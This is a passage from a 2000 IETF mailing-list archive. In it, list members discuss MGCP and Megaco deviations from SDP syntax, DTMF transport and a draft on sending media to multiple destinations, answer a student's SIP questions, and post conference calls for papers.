;&nbsp;&nbsp; v=3D0</FONT>
<BR><FONT =
SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp; m=3Dnas/radius *****pay a note here*******</FONT>
<BR><FONT =
SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp; c=3DIN IP4 radius.example.net</FONT>
<BR><FONT =
SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp; a=3Dbearer:v.34</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp; a=3Dframing:ppp-asynch</FONT>
<BR><FONT =
SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp; a=3Ddialed:18001234567</FONT>
<BR><FONT =
SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp; a=3Dcalled:12345678901</FONT>
<BR><FONT =
SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp; a=3Ddialing:12340567890</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; In SDP the &quot;m=3D&quot; attribute syntax is =
as follows ::</FONT>
<BR><FONT SIZE=3D2>&gt; &quot;m=3D&quot; media space port =
[&quot;/&quot; integer] space proto 1*(space fmt) CRLF</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Here all the fields are mandatory and so port =
and other </FONT>
<BR><FONT SIZE=3D2>&gt; things cannot be </FONT>
<BR><FONT SIZE=3D2>&gt; left out.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; These are few of the discrepancies i found in =
MGCP b'cause of </FONT>
<BR><FONT SIZE=3D2>&gt; which old sdp </FONT>
<BR><FONT SIZE=3D2>&gt; implementations won't work with MGCP. Its easy =
to add new </FONT>
<BR><FONT SIZE=3D2>&gt; attributes but </FONT>
<BR><FONT SIZE=3D2>&gt; would be difficult to change the grammar that =
is already existing.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; In &quot;Megaco&quot; also is saying that you =
can skip &quot;s=3D&quot;, &quot;t=3D&quot;, &quot;o=3D&quot; </FONT>
<BR><FONT SIZE=3D2>&gt; lines in sdp </FONT>
<BR><FONT SIZE=3D2>&gt; message but an RFC2327 conformant SDP would =
definitely issue </FONT>
<BR><FONT SIZE=3D2>&gt; an error and </FONT>
<BR><FONT SIZE=3D2>&gt; would reject the message.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Please comment on the above and let me know how =
old sdps can </FONT>
<BR><FONT SIZE=3D2>&gt; handle the new </FONT>
<BR><FONT SIZE=3D2>&gt; definitions.</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp; Thanking you,</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
rahul</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &quot;When text encoding the protocol, the =
descriptors consist of session</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp; descriptions as defined in =
SDP (RFC2327).&nbsp; In session descriptions</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp; sent from the MGC to the MG, =
the following exceptions to the syntax</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp; of RFC 2327 are =
allowed:</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp; * the &quot;s=3D&quot;, =
&quot;t=3D&quot; and &quot;o=3D&quot; lines are optional&quot;</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; =
______________________________________________________________</FONT>
<BR><FONT SIZE=3D2>&gt; ___________</FONT>
<BR><FONT SIZE=3D2>&gt; Get Your Private, Free E-mail from MSN Hotmail =
at </FONT>
<BR><FONT SIZE=3D2><A HREF=3D"http://www.hotmail.com" =
TARGET=3D"_blank">http://www.hotmail.com</A>.</FONT>
</P>

<P><FONT SIZE=3D2>Share information about yourself, create your own =
public profile at </FONT>
<BR><FONT SIZE=3D2><A HREF=3D"http://profiles.msn.com" =
TARGET=3D"_blank">http://profiles.msn.com</A>.</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C028A1.2C067400--

From confctrl-owner  Wed Sep 27 16:02:53 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id QAA00294
	for confctrl-outgoing; Wed, 27 Sep 2000 16:02:53 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id QAA00289
	for <confctrl@zephyr.isi.edu>; Wed, 27 Sep 2000 16:02:51 -0700 (PDT)
Received: from mailman.cisco.com (mailman.cisco.com [171.68.225.9])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id QAA16102
	for <confctrl@ISI.EDU>; Wed, 27 Sep 2000 16:02:58 -0700 (PDT)
Received: from cisco.com (ssh.cisco.com [171.69.10.34])
	by mailman.cisco.com (8.9.3/8.9.1) with ESMTP id QAA12533;
	Wed, 27 Sep 2000 16:02:26 -0700 (PDT)
Message-ID: <39D27D99.BEB90EF2@cisco.com>
Date: Wed, 27 Sep 2000 19:07:05 -0400
From: Flemming Andreasen <fandreas@cisco.com>
Organization: Cisco Systems
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: rahul pande <panderahul@hotmail.com>
CC: confctrl@ISI.EDU, mgcp@pulver.com
Subject: Re: some discrepancies.........
References: <LC2-LFD542rV4ZneAzd0000030c@hotmail.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The MGCP part should probably rather be posted to mgcp@pulver.com

With that being said, let's just say that NAS was not the best specified part
of RFC 2705.  We are currently working on an updated version of 2705 (and yes,
all usage of SDP in MGCP must be RFC 2327 compliant).

-- Flemming


rahul pande wrote:

> hello Sir,
>
> In MGCP ::
>   under the heading "Encoding of the session description" its stated :
>
>    "The session description is encoded in conformance with the session
>     description protocol, SDP. MGCP implementations are expected to be
>     fully capable of parsing any conformant SDP message, and should send
>     session descriptions that strictly conform to the SDP standard."
>
> Sir, In MGCP under the topic "Usage of SDP in a network access service"
> a new <media> attribute is defined i.e. "nas/XXXX" where as in SDP the
> syntax for <media> is ::
>
>    IN SDP----> <media> = 1*(alpha-numeric)
>                         ;typically "audio", "video", "application"
>                         ;or "data"
>   It won't accept the char '/'.
>
> In an example in MGCP ::
>                         v=0
>                         m=nas/radius *****pay a note here*******
>                         c=IN IP4 radius.example.net
>                         a=bearer:v.34
>                         a=framing:ppp-asynch
>                         a=dialed:18001234567
>                         a=called:12345678901
>                         a=dialing:12340567890
>
> In SDP the "m=" attribute syntax is as follows ::
> "m=" media space port ["/" integer] space proto 1*(space fmt) CRLF
>
> Here all the fields are mandatory and so port and other things cannot be
> left out.
>
> These are few of the discrepancies i found in MGCP b'cause of which old sdp
> implementations won't work with MGCP. Its easy to add new attributes but
> would be difficult to change the grammar that is already existing.
>
> In "Megaco" also is saying that you can skip "s=", "t=", "o=" lines in sdp
> message but an RFC2327 conformant SDP would definitely issue an error and
> would reject the message.
>
> Please comment on the above and let me know how old sdps can handle the new
> definitions.
>     Thanking you,
>       rahul
>
> "When text encoding the protocol, the descriptors consist of session
>    descriptions as defined in SDP (RFC2327).  In session descriptions
>    sent from the MGC to the MG, the following exceptions to the syntax
>    of RFC 2327 are allowed:
>
>     * the "s=", "t=" and "o=" lines are optional"
>
> _________________________________________________________________________
> Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.
>
> Share information about yourself, create your own public profile at
> http://profiles.msn.com.

--
Flemming Andreasen
Cisco Systems



From confctrl-owner  Thu Sep 28 03:46:01 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id DAA21021
	for confctrl-outgoing; Thu, 28 Sep 2000 03:46:01 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA21016
	for <confctrl@zephyr.isi.edu>; Thu, 28 Sep 2000 03:45:59 -0700 (PDT)
Received: from hkueee2.eee.hku.hk (root@hkueee2.eee.hku.hk [147.8.180.60])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id DAA17585
	for <confctrl@isi.edu>; Thu, 28 Sep 2000 03:45:59 -0700 (PDT)
Received: from ss503 (h9806552@ss503.eee.hku.hk [147.8.181.143])
	by hkueee2.eee.hku.hk (8.11.0/8.11.0) with ESMTP id e8SAjfP18399;
	Thu, 28 Sep 2000 18:45:41 +0800 (HKT)
Date: Thu, 28 Sep 2000 18:45:43 +0800 (HKT)
From: Wong Pui Ling <h9806552@eee.hku.hk>
X-Sender: h9806552@ss503
To: confctrl@ISI.EDU
cc: h9806552@hkusua.hku.hk
Subject: About SIP
Message-ID: <Pine.SOL.4.21.0009281835130.5150.6926-100000@ss503>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dear all,
  I'm a final year student studying in University. And I had some
questions on SIP.

  I want to ask can I use SIP to support mobility in Internet Telephony?
Does SIP support multi-party call?

  Also, is there any documents or journals available that can help me to
implement a SIP server? If yes, would you mind sending me through email or
telling me the web site where I can take a look?

  Thanks for your great help. Please reply me as soon as possible. Thanks.

Regards,
Pauline


From confctrl-owner  Thu Sep 28 04:32:00 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id EAA22511
	for confctrl-outgoing; Thu, 28 Sep 2000 04:32:00 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA22505
	for <confctrl@zephyr.isi.edu>; Thu, 28 Sep 2000 04:31:58 -0700 (PDT)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id EAA26238
	for <confctrl@ISI.EDU>; Thu, 28 Sep 2000 04:32:04 -0700 (PDT)
Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id e8SBW1t02617;
	Thu, 28 Sep 2000 13:32:01 +0200 (MEST)
Received: from lmf.ericsson.se (E005004B57CE1.lmf.ericsson.se [131.160.30.148])
	by fogerty.lmf.ericsson.se (8.9.3+Sun/8.9.3) with ESMTP id OAA17329;
	Thu, 28 Sep 2000 14:32:00 +0300 (EET DST)
Message-ID: <39D32C42.9A2F6A6A@lmf.ericsson.se>
Date: Thu, 28 Sep 2000 14:32:18 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: "Culpepper, Bert" <bert.culpepper@intervoice-brite.com>
CC: Rohan Mahy <rohan@cisco.com>, Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        sip@lists.bell-labs.com, Henning Schulzrinne <hgs@cs.columbia.edu>,
        mmusic <confctrl@ISI.EDU>
Subject: draft-camarillo-sip-sdp-00.txt WAS [Re: [SIP] DTMF discussion from WG 
 meeting]
References: <DBD1CC7CE357D211AECC009027158FD1030EAE84@itmail-ict1-imc.wichi>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

In the last MMUSIC WG meeting the following draft was presented:
http://search.ietf.org/internet-drafts/draft-camarillo-sip-sdp-00.txt
The slides can be found at:
http://www2.ietf.org/proceedings/00jul/slides/mmusic-sdp-media-alignment.ppt

There were people expresing different opinions and the conclusion was
that further discussion was needed in the mailing list. I believe that
the competence needed to undertake these discussions can be found in
both, MMUSIC and SIP WGs. That's why this mail is sent to both mailing
lists.

A mechanism to allow a single RTP flow to be sent to different UDP ports
was found useful in general, but there were people who did not feel
comfortable about it.

I would like to hear all the problems that this might cause in order to
find the best possible solution.

If finally it is agreed that such as mechanism is needed, we will have
to agree also upon the format to be used. This draft outlines two
possible approaches, one more general and the other "more" backwards
compatible. 

Feedback is very much appreciated,

Thanks,

Gonzalo



"Culpepper, Bert" wrote:
> 
> I'm happy with the AVT tone format for transport of DTMF.  I can request
> that media type and direct it independently from other media.  I also expect
> to be able to use this media format independently and in addition to any
> other method for transporting DTMF or other "user input".  If an endpoint
> supports both RTP-DTMF and some event reporting mechanism (SUBSCRIBE/NOTIFY)
> then I expect I can request either or both.  The associated IDs and RFCs do
> not place any limitations on this that I can see.  If there are additional
> mechanisms - great.  I like choices.
> 
> I do look forward to seeing support for draft-camarillo-sip-sdp-00.txt.  I
> think this will encourage support for the transmission of multiple copies of
> a media "stream" to different destinations.  And I look forward to support
> for terminal events using SUBSCRIBE/NOTIFY.  I think this can help in
> addressing concerns with reliable delivery of user input.  Hopefully work in
> both of these areas moves along to completion.
> 
> Regards,
> Bert
> 
> -----Original Message-----
> From: Rohan Mahy [mailto:rohan@cisco.com]
> Sent: Wednesday, August 23, 2000 7:24 PM
> To: Jonathan Rosenberg
> Cc: Culpepper, Bert; sip@lists.bell-labs.com
> Subject: Re: [SIP] DTMF discussion from WG meeting
> 
> At 09:46 PM 8/3/00 , Jonathan Rosenberg wrote:
> >Rohan Mahy wrote:
> > >
> > > Hi,
> > >
> > > I think we may have a slightly different definition of first and
> third
> > > party.  I'd say that the moment an app switches from first to
> third, it
> > > becomes third party and can subscribe to DTMF events.  Perhaps I
> > should > that a first-party cannot *take action* on DTMF events, but
> a
> > thrid party
> > > should.
> > >
> > > If a 1st party app subscribes to DTMF events, there is a danger
> that it can
> > > count the same DTMF event twice (once from RTP, and once from the
> event).
> >
> >Sounds like the kind of nasty things that happen when there are two
> >completely different ways to do the same thing. As I suspect you will
> >not be able to cleanly define a role as either 1st or 3rd, with a
> clean
> >changeover during which you would never receive events
> 
> I think the definition is crystal clear, and most apps will always be
> one
> or the other.  maybe you will like this better:
> 
>          If your app will *ever* terminate audio,
>          then it must be ready to receive DTMF via AVT tones,
>          and must never subscribe to "keypress events"
> 
> This leaves "pure" 3rd party apps (of which there are still plenty),
> which
> will never, ever terminate any media.  I think that something like
> VoXML is
> a good model here.  Send the endpoint a script or document to run.  If
> the
> end user does something interesting (press some keys, say something
> intelligable, etc), then execute a URL.  The URL may fetch a new
> script,
> contain a REFER, an INVITE, a BYE, a REGISTER, etc...
> 
> >sounds like one
> >mechanism is the right way to go.
> 
> Lots of folks will want a VoXML-like model.  Only ever sending DTMF as
> AVT
> tones is limiting and short-sighted IMHO.
> 
> thanks,
> -rohan
> 
> _______________________________________________
> SIP mailing list
> SIP@lists.bell-labs.com
> http://lists.bell-labs.com/mailman/listinfo/sip

-- 
Gonzalo Camarillo         Phone :  +358  9 299 33 71
Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
Telecom R&D               Fax   :  +358  9 299 30 52
FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
Finland                   http://www.hut.fi/~gonzalo

From confctrl-owner  Thu Sep 28 06:24:18 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id GAA26060
	for confctrl-outgoing; Thu, 28 Sep 2000 06:24:18 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA26055
	for <confctrl@zephyr.isi.edu>; Thu, 28 Sep 2000 06:24:16 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id GAA17943
	for <confctrl@ISI.EDU>; Thu, 28 Sep 2000 06:24:23 -0700 (PDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id JAA14031;
	Thu, 28 Sep 2000 09:24:12 -0400 (EDT)
Message-ID: <39D3467D.C317E201@cs.columbia.edu>
Date: Thu, 28 Sep 2000 09:24:13 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.75 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Wong Pui Ling <h9806552@eee.hku.hk>
CC: confctrl@ISI.EDU, h9806552@hkusua.hku.hk
Subject: Re: About SIP
References: <Pine.SOL.4.21.0009281835130.5150.6926-100000@ss503>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Wong Pui Ling wrote:
> 
> Dear all,
>   I'm a final year student studying in University. And I had some
> questions on SIP.
> 
>   I want to ask can I use SIP to support mobility in Internet Telephony?

See http://www.cs.columbia.edu/sip for the usual FAQs. This is not the
right mailing list (the web page gives details on the right one).

> Does SIP support multi-party call?
> 
>   Also, is there any documents or journals available that can help me to
> implement a SIP server? If yes, would you mind sending me through email or
> telling me the web site where I can take a look?
> 
>   Thanks for your great help. Please reply me as soon as possible. Thanks.
> 
> Regards,
> Pauline

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Fri Sep 29 11:25:13 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA28537
	for confctrl-outgoing; Fri, 29 Sep 2000 11:25:13 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA28527
	for <confctrl@zephyr.isi.edu>; Fri, 29 Sep 2000 11:25:09 -0700 (PDT)
Received: from erasmus.terena.nl (erasmus.terena.nl [192.87.30.2])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id LAA27655;
	Fri, 29 Sep 2000 11:25:14 -0700 (PDT)
Received: (from mail@localhost)
	by erasmus.terena.nl (8.9.3/8.9.3/TERENA) id SAA05264
	for tnc2001-announce-ptr; Fri, 29 Sep 2000 18:44:37 +0200
X-Authentication-Warning: erasmus.terena.nl: mail set sender to tnc2001-announce-request@terena.nl using -f
Received: (from a15@localhost)
	by erasmus.terena.nl (8.9.3/8.9.3/TERENA) id SAA05258
	for tnc2001-announce@terena.nl; Fri, 29 Sep 2000 18:44:37 +0200
From: a15@terena.nl
Message-Id: <200009291644.SAA05258@erasmus.terena.nl>
Subject: TERENA Networking Conference 2001 - 1st Announcement
To: tnc2001-announce@terena.nl
Date: Fri, 29 Sep 2000 18:44:37 +0200 (CEST)
X-Mailer: ELM [version 2.5 PL0pre8]
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Reply-To: a15@terena.nl
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk




                    TERENA Networking Conference 2001
              "Highlighting Advanced Networks and Services"
                              14-17 May 2001

                      http://www.terena/nl/tnc2001/


                 First Announcement and Call for Papers
                 ======================================


TERENA is pleased to announce, and issue a call for papers for, the
TERENA Networking Conference 2001, which will be held in Antalya,
Turkey from 14-17 May 2001.

The annual TERENA Networking Conferences are prominent events offering
an opportunity to present and discuss technical and strategic issues
related to the provision of networks and services, and the corresponding
research and development activities, within the research and education
community. Bringing together leading figures from the research
networking community in Europe and worldwide, they provide a unique
opportunity for professionals from research, industry, academia and
related government sectors to learn about the latest developments and
plans for the future.

The TERENA Networking Conference 2001 will be structured around invited
talks and tutorial-style presentations, complemented by reviewed papers
and panel discussions.  Topics for the conference will include:

*  Advanced Networks
*  Networking Technology
*  Middleware and Security
*  Advanced Services
*  Advanced Applications
*  The Last Mile
*  Research and Education Networking in the Mediterranean Region


Call for Papers
===============

TERENA invite the submission of papers and proposals for demonstrations
and tutorials on the topics listed above.  Further details are provided
in the full call for papers, which is available from:

http://www.terena.nl/tnc2001/cfp.html

The deadline for paper submissions and proposals for tutorials and
demonstrations is 27 October 2000.


Further Information
===================

For further information about the conference, please visit the
conference web page at:

http://www.terena.nl/tnc2001/

or contact:

TERENA Networking Conference 2001
c/o TERENA Secretariat
Singel 468 D
1017 AW Amsterdam
The Netherlands

Tel.:    +31 20 530 4488
Fax:     +31 20 530 4499
E-mail:  tnc-2001@terena.nl

From confctrl-owner  Mon Oct  2 15:10:46 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id PAA19773
	for confctrl-outgoing; Mon, 2 Oct 2000 15:10:46 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id PAA19768
	for <confctrl@zephyr.isi.edu>; Mon, 2 Oct 2000 15:10:44 -0700 (PDT)
Received: from ivigate.intervoice.com (ivigate.intervoice.com [208.200.21.196])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id PAA11206
	for <confctrl@ISI.EDU>; Mon, 2 Oct 2000 15:10:53 -0700 (PDT)
Received: from itmail-ict1.wichita.brite.com (itmail-ict1.wichita.brite.com [151.214.5.174])
	by ivigate.intervoice.com (Build 98 8.9.3/NT-8.9.3) with ESMTP id RAA27994;
	Mon, 02 Oct 2000 17:13:01 -0500
Received: by itmail-ict1-imc.wichita.brite.com with Internet Mail Service (5.5.2448.0)
	id <SJP015FL>; Mon, 2 Oct 2000 17:06:23 -0500
Message-ID: <DBD1CC7CE357D211AECC009027158FD1033B976F@itmail-ict1-imc.wichita.brite.com>
From: "Culpepper, Bert" <bert.culpepper@intervoice-brite.com>
To: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
Cc: Rohan Mahy <rohan@cisco.com>,
        Jonathan Rosenberg
	 <jdrosen@dynamicsoft.com>,
        sip@lists.bell-labs.com, Henning Schulzrinne
	 <hgs@cs.columbia.edu>,
        mmusic <confctrl@ISI.EDU>
Subject: draft-camarillo-sip-sdp-00.txt
Date: Mon, 2 Oct 2000 17:06:22 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

I'm not writing to present a problem with this proposal but to state a need
for it?

For a specific case not mentioned in the draft.  A "3rd-party call agent"
may need to be able to receive tones and also have them be presented to the
2nd party.  Tone transport is defined by RFC2833, it recommends that
gateways remove the tones from the audio media.

So..., I'd like an endpoint to understand the following media description in
a session description.

m=audio 10010 RTP/AVP 4
c=IN IP4 111.2.30.4
a=rtpmap:4 G723/8000
m=audio 10020 RTP/AVP 97
c=IN IP4 111.2.30.4
a=rtpmap:97 telephone-event
a=fmtp:97 0-15
m=audio 20000 RTP/AVP 97
c=IN IP4 111.2.31.10
a=rtpmap:97 telephone-event
a=fmtp:97 0-15,16

(In this case one "c" line can be used in the session description instead of
how it's shown.)

Nothing I read in RFC 2543 (SIP) and RFC 2327 (SDP) indicates the above is
not allowed.  This is not a standards issue but I wonder how many endpoints
(gateways included) will support sending the two media types to the
different destinations as indicated above.  If in SIP the above session
description doesn't result in three "media streams" being sent to the
indicated host/port, media replication (which may not be present in an
endpoint) will require a specific resource in the network.

Is the use of the flow ID attribute required to achieve the above?  Am I
incorrect in what I think should result from the above session description
in SIP?

The ID does seem to encourage endpoint support for media replication to
different hosts and ports which I'd like to see as standard functionality in
some endpoints & environments.

Regards,
Bert

From confctrl-owner  Mon Oct  2 15:39:19 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id PAA20825
	for confctrl-outgoing; Mon, 2 Oct 2000 15:39:19 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id PAA20817
	for <confctrl@zephyr.isi.edu>; Mon, 2 Oct 2000 15:39:16 -0700 (PDT)
Received: from mailhub.fokus.gmd.de (mailhub.fokus.gmd.de [193.174.154.14])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id PAA20313;
	Mon, 2 Oct 2000 15:39:24 -0700 (PDT)
Received: from fokus.gmd.de (dhcp082 [195.37.78.210])
	by mailhub.fokus.gmd.de (8.8.8/8.8.8) with ESMTP id AAA10539;
	Tue, 3 Oct 2000 00:38:48 +0200 (MET DST)
Message-ID: <39D90E55.217B38D@fokus.gmd.de>
Date: Tue, 03 Oct 2000 00:38:13 +0200
From: Jiri Kuthan <kuthan@fokus.gmd.de>
Organization: GMD Fokus
X-Mailer: Mozilla 4.72 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: kuthan@fokus.gmd.de
Subject: iptel2001 Call for Papers
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


                            Call for Papers

                         2nd IP Telephony Workshop
	  
            April 2-3, 2001 - Columbia University, New York City
                 http://www.fokus.gmd.de/events/iptel2001/


Objectives
---------- 
Internet telephony is rapidly evolving from research to design
and deployment. The objectives of the IP Telephony Workshop are
to bring together researchers, developers, vendors and service 
providers active in this area and stimulate discussion on 
innovation, research, implementation, deployment experiences and
future directions.

Scope & Topics 
--------------
Original technical articles related to IP telephony are solicited. 
Only papers with significant technical content, not "white papers"
or tutorials, will be considered for publication:

     - Research papers (unique ideas, novel algorithms, 
       architectures, measurements, theoretical and/or analytical 
       contributions) 
     - Surveys, state-of-the-art studies, technology comparisons 
     - Implementation and deployment reports 
     - Standardization reports 

Particular areas of interest include, but are not limited to, the
following: 

     - Integration with Internet services (e.g., web, instant 
       messaging, games) 
     - Added-value services (e.g., call centers, conferencing) 
     - Mobility and 3rd generation wireless 
     - Authentication, authorization, accounting, charging, 
       settlement
     - QoS support 
     - Security (e.g., privacy, authentication, certification 
       authorities, firewall traversal) 
     - Call signaling & processing 
     - Feature creation 
     - Supporting services (e.g., call routing, lookup services) 
     - Audio & video encoding and transmission 
     - Management and provisioning 
     - Interworking with the PSTN 
     - Design and deployment considerations (e.g., performance, 
       scalability, reliability) 

Important Dates
--------------- 
Full paper due                November 27th, 2000
Notification of acceptance    January 12th, 2001
Final version due             January 31st, 2001
Program published and         February 5th, 2001
registration opens
Workshop                      April 2nd-3rd, 2001

iptel2001 Organizing Committee 
------------------------------
Program Chair         
 H. Schulzrinne       Columbia University 
Program Committee 
 M. Arango            Sun Microsystems
 F. Baker             Cisco
 W. Bauerfeld         T-Nova
 G. Bond              AT&T Research
 S. Bradner           Harvard University
 G. Carle             GMD FOKUS
 J. Crowcroft         UCL
 C. Huitema           Microsoft
 G. S. Kuo            National Central University, Taiwan
 J. Kuthan            GMD Fokus
 T. Magedanz          IKV++ GmbH
 W. Marshall          AT&T Research
 K. Mehdi             University of Kansas
 D. Oran              Cisco
 J. Ott               University of Bremen
 T. La Porta          Bell Labs
 B. Rosen             Marconi
 J. Rosenberg         dynamicsoft
 H. Sinnreich         MCI WorldCom
